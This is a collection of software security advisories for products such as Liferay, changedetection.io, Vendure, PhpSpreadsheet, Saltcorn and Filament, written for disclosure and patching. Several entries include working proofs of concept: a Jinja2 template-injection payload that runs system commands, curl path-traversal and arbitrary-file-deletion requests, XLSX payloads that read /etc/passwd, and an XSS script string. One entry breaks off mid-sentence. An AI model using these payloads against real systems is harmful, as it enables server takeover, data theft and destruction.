Liferay Portal and Liferay DXP Vulnerable to Cross-Site Request Forgery (CSRF) via the Content Page Editor

[Severity: HIGH]

Cross-site request forgery (CSRF) vulnerability in the content page editor in Liferay Portal 7.3.2 through 7.4.3.107, and Liferay DXP 2023.Q4.0 through 2023.Q4.2, 2023.Q3.1 through 2023.Q3.5, 7.4 GA through update 92 and 7.3 GA through update 35 allows remote attackers to (1) change user passwords, (2) shut down the server, (3) execute arbitrary code in the scripting console, (4) and perform other administrative actions via the p_l_back_url parameter.


Umbraco CMS Improper Access Control Vulnerability Allows Low-Privilege Users to Access Webhook API

[Severity: LOW]

### Impact
An improper access control issue has been identified, allowing low-privilege users to access the webhook API and retrieve information that should be restricted to users with access to the settings section


Umbraco CMS vulnerable to stored Cross-site Scripting in the "dictionary name" on Dictionary section

[Severity: MEDIUM]

### Impact
This can be leveraged to gain access to higher-privilege endpoints, e.g. if you get a user with admin privileges to run the code, you can potentially elevate all users and grant them admin privileges or access protected content.

### Patches
Will be patched in 14.3.1 and 15.0.0.

### Workarounds
Ensure that access to the Dictionary section is only granted to trusted users.


Exiv2  has a denial of service due to unbounded recursion in QuickTimeVideo::multipleEntriesDecoder

[Severity: MEDIUM]

### Impact
A denial-of-service was found in Exiv2 version v0.28.1: an unbounded recursion can cause Exiv2 to crash by exhausting the stack. The vulnerable function, `QuickTimeVideo::multipleEntriesDecoder`, was new in v0.28.0 (see https://github.com/Exiv2/exiv2/pull/2337), so Exiv2 versions before v0.28 are _not_ affected.  Exiv2 is a command-line utility and C++ library for reading, writing, deleting, and modifying the metadata of image files. The denial-of-service is triggered when Exiv2 is used to read the metadata of a crafted video file.

### Patches
The bug is fixed in version v0.28.2.

### For more information
Please see our [security policy](https://github.com/Exiv2/exiv2/security/policy) for information about Exiv2 security.

### Credit
This bug was found by [OSS-Fuzz](https://github.com/google/oss-fuzz).


VM images built with Image Builder and Proxmox provider use default credentials in github.com/kubernetes-sigs/image-builder

[Severity: CRITICAL]

A security issue was discovered in the Kubernetes Image Builder versions <= v0.1.37 where default credentials are enabled during the image build process. Virtual machine images built using the Proxmox provider do not disable these default credentials, and nodes using the resulting images may be accessible via these default credentials. The credentials can be used to gain root access. Kubernetes clusters are only affected if their nodes use VM images created via the Image Builder project with its Proxmox provider.


VM images built with Image Builder with some providers use default credentials during builds in github.com/kubernetes-sigs/image-builder

[Severity: MEDIUM]

A security issue was discovered in the Kubernetes Image Builder versions <= v0.1.37 where default credentials are enabled during the image build process when using the Nutanix, OVA, QEMU or raw providers. The credentials can be used to gain root access. The credentials are disabled at the conclusion of the image build process. Kubernetes clusters are only affected if their nodes use VM images created via the Image Builder project. Because these images were vulnerable during the image build process, they are affected only if an attacker was able to reach the VM where the image build was happening and used the vulnerability to modify the image at the time the image build was occurring.


ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function

[Severity: LOW]

The ReDoS can be exploited through the `parseHTML` function in the `html-parser.ts` file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.

To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a `<script>` tag but closes it incorrectly with something like `</textarea>`.

```javascript
new Vue({
  el: '#app',
  template: '
    <div>
      Hello, world!
      <script>${'<'.repeat(1000000)}</textarea>
    </div>'
});
```
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:

```html
<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id=\"app\">Loading...</div>
</body>
</html>
```

When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.


Malicious homeservers can steal message keys when the matrix-react-sdk user invites another user to a room

[Severity: HIGH]

### Impact

matrix-react-sdk before 3.102.0 allows a malicious homeserver to potentially steal message keys for a room when a user invites another user to that room, via injection of a malicious device controlled by the homeserver. This is possible because matrix-react-sdk before 3.102.0 shared historical message keys on invite.

### Patches

matrix-react-sdk 3.102.0 [disables sharing message keys on invite](https://github.com/matrix-org/matrix-react-sdk/pull/12618) by removing calls to the vulnerable functionality.

### Workarounds

None.

### References

The vulnerability in matrix-react-sdk is caused by calling `MatrixClient.sendSharedHistoryKeys` in matrix-js-sdk, which is inherently vulnerable to this sort of attack. This matrix-js-sdk vulnerability is tracked as CVE-2024-47080 / [GHSA-4jf8-g8wp-cx7c](https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-4jf8-g8wp-cx7c). Given that this functionality is not specific to sharing message keys on *invite*, is optional, has to be explicitly called by the caller and has been independently patched in matrix-react-sdk by removing the offending calls, we believe it is proper to treat the matrix-react-sdk vulnerability as a separate one, with its own advisory and CVE.

The matrix-org/matrix-react-sdk repository has recently been archived and the project was moved to [element-hq/matrix-react-sdk](https://github.com/element-hq/matrix-react-sdk). Given that this happened *after* the first patched release, no releases of the project on [element-hq/matrix-react-sdk](https://github.com/element-hq/matrix-react-sdk) were ever vulnerable to this vulnerability.

Patching pull request: https://github.com/matrix-org/matrix-react-sdk/pull/12618.

### For more information

If you have any questions or comments about this advisory, please email us at security at [security at matrix.org](mailto:security@matrix.org).


changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution

[Severity: CRITICAL]

### Summary
A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.

### Details

changedetection.io version: 0.45.20
```
docker images
REPOSITORY                            TAG       IMAGE ID       CREATED        SIZE
dgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB
```

The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.
```python
from jinja2 import Environment, BaseLoader
...
    # Get the notification body from datastore
    jinja2_env = Environment(loader=BaseLoader)
    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)
```

### PoC
1. Create/Edit a URL watch item
2. Under *Notifications* tab insert this payload:
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
![Screenshot from 2024-04-19 15-46-04](https://github.com/dgtlmoon/changedetection.io/assets/35783570/b6a5779f-fd1e-4708-9b2d-21cb97f0bb4f)

3. See Telegram (or other supported messaging app) notification

![Screenshot from 2024-04-19 16-02-12](https://github.com/dgtlmoon/changedetection.io/assets/35783570/20877919-d6fe-49f1-bbd2-586e900207f1)

### Impact
In the PoC I've used `id` as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell).
The impact is critical as the attacker can completely takeover the server host.
This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).

### References
- https://www.hacktivesecurity.com/blog/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://docs.cobalt.io/bestpractices/prevent-ssti/

### Credits

Edoardo Ottavianelli


Vendure asset server plugin has local file read vulnerability with AssetServerPlugin & LocalAssetStorageStrategy

[Severity: CRITICAL]

# Description

## Path traversal

This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server.

From Rajesh Sharma who discovered the vulnerability:

POC: `curl --path-as-is http://localhost:3000/assets/../package.json` gives you the content of package.json present in the local directory.

The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js

https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358

If the vendure service is behind some server like nginx, apache, etc. Path normalization is performed on the root server level but still the actual client's request path will be sent to vendure service but not the resultant normalized path. However, depending the type of root server one can try various payloads to bypass such normalization.

The reporter found a customer website which uses local asset plugin and using above mentioned vulnerability, and was able to find secrets like email credentials.

## DOS via malformed URI

In the same code path is an additional vector for crashing the server via a malformed URI

Again from Rajesh:

There is also a potential Denial of Service (DoS) issue when incorrectly encoded URI characters are passed as part of the asset URL. When these malformed requests are processed, they can lead to system crashes or resource exhaustion, rendering the service unavailable to users.
Exploit: `curl  --path-as-is http://localhost:3000/assets/%80package.json` , here `%80` is not a valid url-encoded character hence the decodeURIComponent is called on it, the entire app crashes.

```
[:server] /Users/abc/mywork/vendure/packages/asset-server-plugin/src/plugin.ts:353
[:server]         const decodedReqPath = decodeURIComponent(req.path);
[:server]                                ^
[:server] URIError: URI malformed
```

### Patches
v3.0.5, v2.3.3

### Workarounds
- Use object storage rather than the local file system, e.g. MinIO or S3
- Define middleware which detects and blocks requests with urls containing `/../`


SpiceDB calls to LookupResources using LookupResources2 with caveats may return context is missing when it is not

[Severity: LOW]

### Impact

Clients that have enabled `LookupResources2` and have caveats in the evaluation path for their requests can return a permissionship of `CONDITIONAL` with context marked as missing, even then the context was supplied.

LookupResources2 is the new default in SpiceDB 1.37.0 and has been opt-in since SpiceDB 1.35.0

### Patches
The bug will be released as part of SpiceDB 1.37.1

### Workarounds
Disable LookupResources2 via the `--enable-experimental-lookup-resources` flag by setting it to `false`

```
--enable-experimental-lookup-resources=false
```


Lord of Large Language Models (LoLLMs)  path traversal vulnerability in the api open_personality_folder endpoint

[Severity: MEDIUM]

A path traversal vulnerability exists in the api open_personality_folder endpoint of parisneo/lollms. This vulnerability allows an attacker to read any folder in the personality_folder on the victim's computer, even though sanitize_path is set. The issue arises due to improper sanitization of the personality_folder parameter, which can be exploited to traverse directories and access arbitrary files.


Extract has insufficient checks allowing attacker to create symlinks outside the extraction directory.

[Severity: MEDIUM]

### Impact
A maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.

### Patches
Please use version 4.0.0 or later `github.com/codeclysm/extract/v4`. Any previous version is affected by the bug.

### Workarounds
No knows workarounds.

### Backward compatibility notes about upgrading to `/v4` from `/v3`

If you're not using the `extract.Extractor.FS` interface, you will not face any breaking changes and upgrading should be as simple as changing the import to `/v4`. This should be the case for most of the userbase.

If you're using the `Extractor.FS` interface, then upgrading to `/v4` will require to implement the new methods that have been added:

```go
type FS interface {
    Link(string, string) error
    MkdirAll(string, os.FileMode) error
    OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)
    Symlink(string, string) error

    // The following methods have been added in the /v4 interface:

    Remove(path string) error
    Stat(name string) (os.FileInfo, error)
    Chmod(name string, mode os.FileMode) error
}
```

There should be no other breaking changes in the `/v4` API.


Lord of Large Language Models (LoLLMs) Server path traversal vulnerability in lollms_file_system.py

[Severity: LOW]

A path traversal vulnerability exists in the ParisNeo/lollms repository, specifically in the `lollms_file_system.py` file. The functions `add_rag_database`, `toggle_mount_rag_database`, and `vectorize_folder` do not implement security measures such as `sanitize_path_from_endpoint` or `sanitize_path`. This allows an attacker to perform vectorize operations on `.sqlite` files in any directory on the victim's computer, potentially installing multiple packages and causing a crash.


open-webui allows enumeration of file names and traversal of directories by observing the error messages

[Severity: LOW]

An information disclosure vulnerability exists in open-webui version 0.3.8. The vulnerability is related to the embedding model update feature under admin settings. When a user updates the model path, the system checks if the file exists and provides different error messages based on the existence and configuration of the file. This behavior allows an attacker to enumerate file names and traverse directories by observing the error messages, leading to potential exposure of sensitive information.


Wasmtime race condition could lead to WebAssembly control-flow integrity and type safety violations

[Severity: LOW]

### Impact

Under certain concurrent event orderings, a `wasmtime::Engine`'s internal type registry was susceptible to double-unregistration bugs due to a race condition, leading to panics and potentially type registry corruption. That registry corruption could, following an additional and particular sequence of concurrent events, lead to violations of WebAssembly's control-flow integrity (CFI) and type safety. Users that do not use `wasmtime::Engine` across multiple threads are not affected. Users that only create new modules across threads over time are additionally not affected.

Reproducing this bug requires creating and dropping multiple type instances (such as `wasmtime::FuncType` or `wasmtime::ArrayType`) concurrently on multiple threads, where all types are associated with the same `wasmtime::Engine`. **Wasm guests cannot trigger this bug.** See the "References" section below for a list of Wasmtime types-related APIs that are affected.

Wasmtime maintains an internal registry of types within a `wasmtime::Engine` and an engine is shareable across threads. Types can be created and referenced through creation of a `wasmtime::Module`, creation of `wasmtime::FuncType`, or a number of other APIs where the host creates a function (see "References" below). Each of these cases interacts with an engine to deduplicate type information and manage type indices that are used to implement type checks in WebAssembly's `call_indirect` function, for example. This bug is a race condition in this management where the internal type registry could be corrupted to trigger an assert or contain invalid state.

Wasmtime's internal representation of a type has individual types (e.g. one-per-host-function) maintain a registration count of how many time it's been used. Types additionally have state within an engine behind a read-write lock such as lookup/deduplication information. The race here is a time-of-check versus time-of-use (TOCTOU) bug where one thread atomically decrements a type entry's registration count, observes zero registrations, and then acquires a lock in order to unregister that entry. However, between when this first thread observed the zero-registration count and when it acquires that lock, another thread could perform the following sequence of events: re-register another copy of the type, which deduplicates to that same entry, resurrecting it and incrementing its registration count; then drop the type and decrement its registration count; observe that the registration count is now zero; acquire the type registry lock; and finally unregister the type. Now, when the original thread finally acquires the lock and unregisters the entry, it is the second time this entry has been unregistered.

| Thread A                          | Thread B                       |
|-----------------------------------|--------------------------------|
| `acquire(type registry lock)`     |                                |
|                                   | `decref(E) --> 0`              |
|                                   | `block_on(type registry lock)` |
| `register(E') == incref(E) --> 1` |                                |
| `release(type registry lock)`     |                                |
| `decref(E) --> 0`                 |                                |
| `acquire(type registry lock)`     |                                |
| `unregister(E)`                   |                                |
| `release(type registry lock)`     |                                |
|                                   | `acquire(type registry lock)`  |
|                                   | `unregister(E)`          |

This double-unregistration could then lead to a WebAssembly CFI violation under the following conditions: a new WebAssembly module `X` was loaded into the engine before the second, buggy unregistration occurs; `X` defined a function type `F` that was allocated in the same type registry slot where the original entry was allocated; the second, buggy unregistration incorrectly unregistered `F`; another new WebAssembly module `Y` was loaded into the engine; `Y` defined a function type `G`, different from `F`, but which is also allocated in the same type registry slot; a `funcref` of type `G` is created, either by the host or by Wasm; that `funcref` is passed to a WebAssembly instance of module `X`; that instance performs a `call_indirect` to that `funcref`; the `call_indirect`'s dynamic type check, which preserves CFI, could incorrectly pass in this case, because `F` and `G` were assigned the same type registry slot. This would, ultimately, allow calling a function with too many, too few, or wrongly-typed arguments, violating CFI and type safety.

We were not able to reproduce this CFI violation in a vanilla Wasmtime build, although it remains theoretically possible. However, by modifying Wasmtime's source code to make losing the races described above more likely (by disabling certain assertions, inserting panic catches, and adding retry loops in a few places if we did *not* lose the race) we were able to incorrectly get a `funcref` to pass a type check that it should have failed, which would allow the CFI violation.

### Patches

This bug was originally introduced in Wasmtime 19's development of the WebAssembly GC proposal. This bug affects users who are not using the GC proposal, however, and affects Wasmtime in its default configuration even when the GC proposal is disabled. Wasmtime users using 19.0.0 and after are all affected by this issue. We have released the following Wasmtime versions, all of which have a fix for this bug:

* 21.0.2
* 22.0.1
* 23.0.3
* 24.0.1
* 25.0.2

### Workarounds

If your application creates and drops Wasmtime types on multiple threads concurrently, there are no known workarounds. Users are encouraged to upgrade to a patched release.

### References

The fol


PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

[Severity: MEDIUM]

### Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

### Details

XLSX files allow embedding or linking media. When

In `xl/drawings/drawing1.xml` an attacker can do e.g.:
```xml
<a:blip cstate="print" r:link="rId1" />
```

And then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:
```xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />
```
or
```xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />
```

When the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.

```php
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';
```

### PoC

```php
<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));
```

Add this file in the same directory:
[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)

Run with:
`php index.php`

### Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.


PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file

[Severity: HIGH]

### Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.

### Details

When an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:

```php
if (isset($images[$embedImageKey])) {
    // ...omit irrelevant code...
} else {
    $linkImageKey = (string) self::getArrayItem(
        $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
        'link'
    );
    if (isset($images[$linkImageKey])) {
        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
        $objDrawing->setPath($url);
    }
}
```

`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:

```php
public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
    if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
        if (filter_var($path, FILTER_VALIDATE_URL)) {
            $this->path = $path;
            // Implicit that it is a URL, rather store info than running check above on value in other places.
            $this->isUrl = true;
            $imageContents = file_get_contents($path);
            // ... check dimensions etc. ...
```

It's important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.

The attacker can set the path to anything:

```xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="this can be whatever" />
```

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit

### PoC

Target file:

```php
<?php

require 'vendor/autoload.php';

// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.

$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script

copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);

$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);

$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);

$zip->close();

// The actual target - note that simply opening the file is sufficient for the attack

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);

```

Add this file in the same directory:
[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`.

Then run the Python script with:
```
python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd
```

Note that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4)

### Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.


Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability

[Severity: HIGH]

### Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.

### Details

- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346

```js
router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);
```

### PoC

The following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)

- create a file in a folder different from where the server is started:
```
touch /tmp/secret
cat /tmp/secret
```

- log with a user and retrieve valid `connect.sid` and `_csrf` values***
- send the following `curl` request
```
curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'
```

- check if the file previously created does not exist anymore:
```
cat /tmp/secret
cat: /tmp/secret: No such file or directory
```

*** obtain `connect.sid` and `_csrf` values

A possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:
- log in
- open the browser developer console, go to the `Network` tab filter for `settings` request
- visit `http://localhost:3000/auth/settings`
- trigger the change password functionality
- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command

### Impact

Arbitrary file delete

### Recommended Mitigation

Resolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.


Lara-zeus Dynamic Dashboard and Artemis do not validate paragraph widget values which can be used for XSS

[Severity: MEDIUM]

# Summary
If values passed to a paragraph widget are not valid and contain a specific set of characters, applications are vulnerable to XSS attack against a user who opens a page on which a paragraph widget is rendered.

Versions of dynamic dashboard from v3.0.0 through v3.0.2 are affected.

Please upgrade to dynamic dashboard [v3.0.2](https://github.com/lara-zeus/dynamic-dashboard/releases/tag/v3.0.2).

# PoC
>PoC will be published in a few weeks, once developers have had a chance to upgrade their apps.

# Response
This vulnerability (in paragraph widget only) was reported by **Raghav Sharma**, who reported the issue and patched the issue during the morning of 05/10/2024. Thank you **Raghav Sharma**.

The review process concluded the same day at night, which revealed the issue was also present in paragraph widget. This was fixed the same day and dynamic dashboard [v3.0.2](https://github.com/lara-zeus/dynamic-dashboard/releases/tag/v3.0.2) followed.

## Note:
if you're published the view (blade files), you have to republish them or check the changes on release to update the affected file.


Duplicate Advisory: Contao allows admin an account to upload SVG file containing malicious JavaScript

[Severity: LOW]

## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-vqqr-fgmh-f626. This link is maintained to preserve external references.

## Original Description

Contao 5.4.1 allows an authenticated admin account to upload a SVG file containing malicious javascript code into the target system. If the file is accessed through the website, it could lead to a Cross-Site Scripting (XSS) attack or execute arbitrary code via a crafted javascript to the target.


Jenkins Credentials plugin reveals encrypted values of credentials to users with Extended Read permission

[Severity: MEDIUM]

Jenkins Credentials Plugin 1380.va_435002fa_924 and earlier, except 1371.1373.v4eb_fa_b_7161e9, does not redact encrypted values of credentials using the `SecretBytes` type (e.g., Certificate credentials, or Secret file credentials from Plain Credentials Plugin) when accessing item `config.xml` via REST API or CLI.

This allows attackers with Item/Extended Read permission to view encrypted `SecretBytes` values in credentials.

This issue is similar to SECURITY-266 in the 2016-05-11 security advisory, which applied to the `Secret` type used for inline secrets and some credentials types.

Credentials Plugin 1381.v2c3a_12074da_b_ redacts the encrypted values of credentials using the `SecretBytes` type in item `config.xml` files.

This fix is only effective on Jenkins 2.479 and newer, LTS 2.462.3 and newer. While Credentials Plugin 1381.v2c3a_12074da_b_ can be installed on Jenkins 2.463 through 2.478 (both inclusive), encrypted values of credentials using the `SecretBytes` type will not be redacted when accessing item `config.xml` via REST API or CLI.


Filament has unvalidated ColorColumn and ColorEntry values that can be used for Cross-site Scripting

[Severity: MEDIUM]

### Summary

If values passed to a `ColorColumn` or `ColumnEntry` are not valid and contain a specific set of characters, applications are vulnerable to XSS attack against a user who opens a page on which a color column or entry is rendered.

Versions of Filament from v3.0.0 through v3.2.114 are affected.

Please upgrade to Filament [v3.2.115](https://github.com/filamentphp/filament/releases/tag/v3.2.115).

### PoC

For example, using a value such as:

```html
blue;"><script>alert('There\'s a security problem here')</script style="
```

Would get passed into the `@style()` Blade directive from Laravel to render the correct background color, where `$state` contains the value:

```blade
<div @style([
    "background-color: {$state}" => $state,
])></div>
```

Since Laravel does not escape special characters within the `@style` Blade directive, the effective output HTML would be:

```html
<div style="background-color: blue;"><script>alert('There\'s a security problem here')</script style=""></div>
```

Creating the opportunity for arbitrary JS to run if it was stored in the database.

### Response

This vulnerability (in `ColorColumn` only) was reported by @sv-LayZ, who reported the issue and patched the issue during the evening of 25/09/2024. Thank you Mattis.

The review process concluded on 27/09/2024, which revealed the issue was also present in `ColorEntry`. This was fixed the same day and Filament [v3.2.115](https://github.com/filamentphp/filament/releases/tag/v3.2.115) followed to escape any special characters while outputting inline styles like this:

```blade
<div @style([
    'background-color: ' . e($state) => $state,
])></div>
```

Although these components are no longer vulnerable to this type of XSS attack, it is good practice to validate colors, and since many Filament users may be accepting color input using the `ColorPicker` form component, [additional color validation documentation was published](https://filamentphp.com/docs/3.x/forms/fields/color-picker#color-picker-validation).


Ory Kratos's setting required_aal `highest_available` does not properly respect code + mfa credentials

[Severity: MEDIUM]

## Preconditions

- The `code` login method is enabled with the `passwordless_enabled` flag set to `true` .
- A 2FA method such as `totp` is enabled.
- `required_aal` of the whomai check or the settings flow is set to `highest_available`. AAL stands for Authenticator Assurance Levels and can range from 0 (no factor) to 2 (two factors).
- A user uses the `code` method as the **only** login method available. They do not have a password or any other first factor credential enabled.
- The user has 2FA enabled.
- The user’s `available_aal` is incorrectly stored in the database as `aal1` or `aal0` or `NULL`.
- A user signs in using the code method, but does not complete the 2FA challenge.

**Example server configuration**

Below you will find an vulnerable example configuration. Keep in mind that, for the account to be vulnerable, the account must have no first factor except the `code` method enabled plus a second factor.

```
selfservice:
  methods:
    code:
      # The `code` login method is enabled with the `passwordless_enabled` flag set to `true`
      passwordless_enabled: true
    totp:
      # 2FA method such as `totp` is enabled
      enabled: true
  flows:
    settings:
      # This is set
      required_aal: highest_available
session:
  whoami:
    # Or this
    required_aal: highest_available
```

## Impact

Given the preconditions, the `highest_available` setting will incorrectly assume that the identity’s highest available AAL is `aal1` even though it really is `aal2`. This means that the `highest_available` configuration will act as if the user has only one factor set up, for that particular user. This means that they can call the settings and whoami endpoint without a `aal2` session, even though that should be disallowed.

An attacker would need to steal or guess a valid login OTP of a user who has only OTP for login enabled and who has an incorrect `available_aal` value stored, to exploit this vulnerability.

All other aspects of the session (e.g. the session’s aal) are not impacted by this issue.

On Ory Network, only 0,00066% of registered users were affected by this issue, and most of those users appeared to be test users. Their respective AAL values have since been updated and they are no longer vulnerable to this attack.

### Patches

Version 1.3.0 is not affected by this issue.

### Workarounds

If you require 2FA please disable the passwordless code login method. If that is not possible, check the sessions `aal` to identify if the user has `aal1` or `aal2`.


Maven Archetype Plugin: Maven Archetype integration-test may package local settings into the published artifact, possibly containing credentials

[Severity: LOW]

Exposure of Sensitive Information to an Unauthorized Actor, Insecure Storage of Sensitive Information vulnerability in Maven Archetype Plugin.

This issue affects Maven Archetype Plugin: from 3.2.1 before 3.3.0.

